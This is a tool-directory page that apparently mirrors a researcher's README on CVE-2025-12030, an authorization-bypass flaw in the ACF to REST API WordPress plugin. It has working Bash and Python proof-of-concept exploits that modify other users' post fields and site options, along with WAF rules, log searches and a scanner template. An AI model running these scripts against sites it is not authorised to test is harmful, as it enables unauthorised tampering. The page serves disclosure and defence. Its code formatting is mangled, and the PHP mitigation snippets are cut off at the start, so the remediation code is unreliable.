Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-12030 — ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - 보안 결함: 인증된 사용자가 Contributor 수준의 접근 권한으로 자신이 소유하지 않은 객체의 ACF 필드를 수정할 수 있습니다. | Kitploit
도구/GitHubGitHub/snailsploit/cve-2025-12030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - 보안 결함: 인증된 사용자가 Contributor 수준의 접근 권한으로 자신이 소유하지 않은 객체의 ACF 필드를 수정할 수 있습니다.

저장소 보기
13개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-12030: WordPress ACF to REST API 플러그인의 안전하지 않은 직접 객체 참조 취약점

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

키워드: CVE-2025-12030, ACF to REST API 취약점, IDOR, WordPress 보안, 인증된 익스플로잇, WordPress 플러그인 취약점, CWE-639, ACF 필드 변조, 권한 우회, WordPress CVE 2025, Advanced Custom Fields, REST API 보안

목차

  • 개요
  • 취약점 세부 정보
  • 기술 분석
  • 공격 벡터
  • 개념 증명
  • 수정 가이드
  • 탐지
  • CVSS 지표
  • 참고 자료
  • 크레딧
  • 보안 연락처

개요

ACF to REST API WordPress 플러그인 IDOR 취약점 (CVE-2025-12030) - 기여자(Contributor) 수준 액세스 권한이 있는 인증된 사용자가 자신이 소유하지 않은 객체의 ACF 필드를 변조할 수 있게 하는 보안 결함입니다.

ACF to REST API WordPress 플러그인에서 안전하지 않은 직접 객체 참조(Insecure Direct Object Reference, IDOR) 취약점이 발견되었습니다. 이 취약점은 최소 권한만 있는 인증된 공격자가 전체 WordPress 설치 환경의 ACF 필드를 변조할 수 있게 합니다.

발견자: Kai Aizen (SnailSploit)
공개일: 2026년 1월 6일
CVSS 점수: 4.3 (중간)
CWE: CWE-639 - 사용자 제어 키를 통한 권한 우회
플러그인: ACF to REST API
플러그인 슬러그: acf-to-rest-api
공격 유형: 안전하지 않은 직접 객체 참조 (IDOR)
필요 권한: 기여자 이상 (인증된 공격)

취약점 세부 정보

설명

ACF to REST API WordPress 플러그인은 버전 3.3.4를 포함한 모든 버전에서 안전하지 않은 직접 객체 참조(Insecure Direct Object Reference) 취약점에 노출되어 있습니다. 이는 update_item_permissions_check() 메서드의 충분하지 않은 능력 검사 때문이며, 이 메서드는 객체별 권한(예: edit_post($id), edit_user($id), manage_options)을 확인하지 않고 현재 사용자가 edit_posts 능력을 가지고 있는지만 확인합니다.

영향

이 취약점으로 인해 인증된 공격자(기여자 수준 이상)는 다음을 수행할 수 있습니다:

  • 자신이 소유하지 않은 게시물의 ACF 필드 변조 - 게시물 소유권 제한 우회
  • 모든 사용자 계정(관리자 계정 포함)의 ACF 필드 변조
  • 댓글의 ACF 필드 변조 - 댓글 메타데이터 변경
  • 분류 용어의 ACF 필드 변조 - 카테고리/태그 사용자 정의 필드 변경
  • 전역 옵션 페이지 변조 - manage_options 능력 없이 사이트 전체 ACF 옵션에 액세스

모든 변조는 /wp-json/acf/v3/{type}/{id} REST API 엔드포인트를 통해 가능합니다.

영향을 받는 버전

  • 취약 버전: 3.3.4 이하 모든 버전
  • 패치됨: ⚠️ 알려진 패치 없음

CVSS v3.1 지표```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

root@kitploit:~
| 지표 | 값 |
|--------|-------|
| 공격 벡터 | 네트워크 (AV:N) |
| 공격 복잡성 | 낮음 (AC:L) |
| 필요 권한 | 낮음 (PR:L) |
| 사용자 상호작용 | 없음 (UI:N) |
| 범위 | 변경되지 않음 (S:U) |
| 기밀성 | 없음 (C:N) |
| 무결성 | 낮음 (I:L) |
| 가용성 | 없음 (A:N) |

**CVSS v3.1 세부 분석:**

- **공격 벡터 (AV):** 네트워크 - 취약점이 네트워크를 통해 원격으로 악용될 수 있음
- **공격 복잡성 (AC):** 낮음 - 악용에 특별한 조건이 필요하지 않음
- **필요 권한 (PR):** 낮음 - 기여자 수준의 인증 필요
- **사용자 상호작용 (UI):** 없음 - 사용자 상호작용 없이 악용 가능
- **범위 (S):** 변경되지 않음 - 취약점은 취약한 구성 요소에만 영향
- **기밀성 영향 (C):** 없음 - 정보 유출 없음
- **무결성 영향 (I):** 낮음 - ACF 필드의 무단 수정
- **가용성 영향 (A):** 없음 - 가용성 영향 없음

## Technical Details

### Vulnerability Root Cause

취약점은 불충분한 인가를 수행하는 `update_item_permissions_check()` 메서드에 존재합니다:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

적절한 구현은 객체별 권한을 확인해야 합니다:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

root@kitploit:~
switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

root@kitploit:~
### 취약한 엔드포인트

| 엔드포인트 | 대상 | 필수 권한 (권장) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | 게시물 | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | 페이지 | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | 사용자 | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | 댓글 | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | 용어 | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | 옵션 | `manage_options` |

### 공격 벡터```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

해당 취약점은 Contributor 역할 이상의 인증된 사용자가 WordPress REST API를 통해 악용할 수 있습니다.

개념 증명

⚠️ 교육 및 승인된 테스트 목적으로만 사용하세요

Bash PoC```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Step 2: Attempt to modify ACF fields on post we don't own

echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

root@kitploit:~
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

def exploit(target_url, username, app_password, target_id, target_type="posts"):
    """
    Exploit CVE-2025-12030 IDOR vulnerability
    
    Args:
        target_url: WordPress site URL
        username: Contributor-level username
        app_password: Application password
        target_id: ID of the object to modify (post, user, etc.)
        target_type: Type of object (posts, pages, users, options, etc.)
    """
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
    
    # Create Basic Auth header
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] Object Type: {target_type}")
    print(f"[*] Object ID: {target_id}\n")
    
    # Step 1: Read current ACF fields
    print("[*] Step 1: Reading current ACF fields...")
    try:
        response = requests.get(api_endpoint, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Current ACF fields:")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Failed to read fields: {response.status_code}")
            print(response.text)
    except requests.RequestException as e:
        print(f"[-] Error reading fields: {e}")
        return
    
    print("")
    
    # Step 2: Attempt IDOR modification
    print("[*] Step 2: Attempting unauthorized modification...")
    
    payload = {
        "fields": {
            "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            result = response.json()
            print(f"[+] Response:")
            print(json.dumps(result, indent=2))
            
            if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                print("[!] Contributor-level user was able to modify objects they don't own!")
            else:
                print("\n[+] Modification request accepted - verify manually")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            print(f"Response: {response.text}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

def test_options_page(target_url, username, app_password):
    """Test modification of global options page (requires manage_options normally)"""
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
    
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"\n[*] Testing Options Page IDOR...")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] NOTE: This normally requires manage_options capability!\n")
    
    payload = {
        "fields": {
            "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            print(f"[!] CRITICAL: Contributor modified global options page!")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Options modification failed: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
        print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
        print(f"\nSupported types: posts, pages, users, comments, options")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2]
    app_password = sys.argv[3]
    target_id = sys.argv[4]
    target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
    
    exploit(target_url, username, app_password, target_id, target_type)
    
    # Also test options page access
    if target_type != "options":
        test_options_page(target_url, username, app_password)

Remediation

사이트 관리자를 위한 조치

즉시 필요한 조치:

⚠️ 이 취약점에 대한 공식 패치는 현재 제공되지 않습니다.

  1. ACF REST API 기능이 중요하지 않은 경우 플러그인 제거를 고려하세요.
  2. 사용자 등록을 제한하고 기존 Contributor+ 계정을 검토하세요.
  3. WAF 규칙을 구현하여 승인되지 않은 REST API 수정을 차단하세요.
  4. REST API 활동을 모니터링하여 의심스러운 ACF 필드 수정을 감지하세요.
  5. 적절한 인증 제어 기능이 있는 대체 플러그인을 고려하세요.

임시 완화 조치

옵션 1: 코드로 REST API 엔드포인트 비활성화

테마의 functions.php 또는 사용자 정의 플러그인에 추가하세요:```php

403) ); } return $permission; }, 10, 3); ``` #### 옵션 2: .htaccess를 통한 제한```apache # Block ACF REST API modification endpoints for non-admins RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$ RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC] RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC] RewriteRule .* - [F,L] ``` #### 옵션 3: Nginx 구성```nginx # Block ACF REST API modification requests location ~* ^/wp-json/acf/v3/ { if ($request_method ~* "(PUT|POST|PATCH)") { # Implement proper authorization check or block entirely return 403; } try_files $uri $uri/ /index.php?$args; } ``` ### 플러그인 개발자용 플러그인을 포크하거나 패치하는 경우, 적절한 객체별 권한 부여를 구현하세요:```php get_param( 'id' ); $type = $this->get_object_type( $request ); switch ( $type ) { case 'post': case 'page': // Check if user can edit THIS specific post if ( ! current_user_can( 'edit_post', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'user': // Check if user can edit THIS specific user if ( ! current_user_can( 'edit_user', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'option': // Options require manage_options capability if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to manage options.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'term': $taxonomy = $request->get_param( 'taxonomy' ); $tax_obj = get_taxonomy( $taxonomy ); if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit terms.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'comment': if ( ! current_user_can( 'edit_comment', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: return new WP_Error( 'rest_invalid_type', __( 'Invalid object type.' ), array( 'status' => 400 ) ); } return true; } ``` ## 탐지 ### 로그 분석 의심스러운 REST API 활동 검색:```bash # Search access logs for ACF REST API modification attempts grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log ``` ### WordPress Plugin Check```bash # Check if vulnerable version is installed wp plugin list | grep -i "acf-to-rest-api" # Get plugin version wp plugin get acf-to-rest-api --field=version ``` ### 보안 스캐너 규칙 **Nuclei 템플릿:**```yaml id: CVE-2025-12030 info: name: ACF to REST API - IDOR ACF Field Modification author: SnailSploit severity: medium description: ACF to REST API plugin for WordPress is vulnerable to IDOR reference: - https://github.com/SnailSploit/CVE-2025-12030 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated http: - raw: - | POST /wp-json/acf/v3/posts/1 HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} Content-Type: application/json {"fields":{"nuclei_test":"CVE-2025-12030"}} matchers-condition: and matchers: - type: word words: - "acf" condition: or - type: status status: - 200 ``` ### 웹 애플리케이션 방화벽 규칙 **ModSecurity 규칙:**```apache # CVE-2025-12030 - Block unauthorized ACF REST API modifications SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \ "id:2025012030,\ phase:2,\ t:none,t:urlDecodeUni,t:normalizePathWin,\ chain,\ deny,\ status:403,\ log,\ msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'" SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none" ``` ## 타임라인 - **2026년 1월 6일** - 취약점 공개 - **2026년 1월 6일** - CVE-2025-12030 할당됨 - **현재** - ⚠️ 패치 없음 ## 참고 자료 - [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification) - [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api) - [WordPress Plugin Directory](https://wordpress.org/plugins/acf-to-rest-api/) - [CWE-639 - Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) - [OWASP - Insecure Direct Object Reference](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) ## 크레딧 **연구자:** - [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com) **공개 절차:** Wordfence 버그 바운티 프로그램을 통해 조정됨 ## 면책 조항 이 정보는 보안 연구 및 방어 목적으로만 제공됩니다. 이 취약점을 악의적인 목적으로 악용하는 것은 불법이며 비윤리적입니다. 소유하지 않은 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오. ## 연락처 질문이나 이 취약점에 대한 추가 정보가 필요하시면: - **이메일:** [[email protected]](mailto:[email protected]) - **웹사이트:** [snailsploit.com](https://snailsploit.com) - **조직:** SnailSploit Security Research --- *최종 업데이트: 2026년 1월 6일* --- ## 📚 문서 및 저자 이 프로젝트의 전체 분석, 방법론 및 관련 연구는 다음에서 확인할 수 있습니다: **[https://snailsploit.com/security-research/cves/cve-2025-12030/](https://snailsploit.com/security-research/cves/cve-2025-12030/)** **Kai Aizen** — 독립적인 공격 보안 연구자가 작성했습니다. [snailsploit.com](https://snailsploit.com) · [연구](https://snailsploit.com/research) · [프레임워크](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit) > *같은 공격. 다른 기반.*
도구 다운로드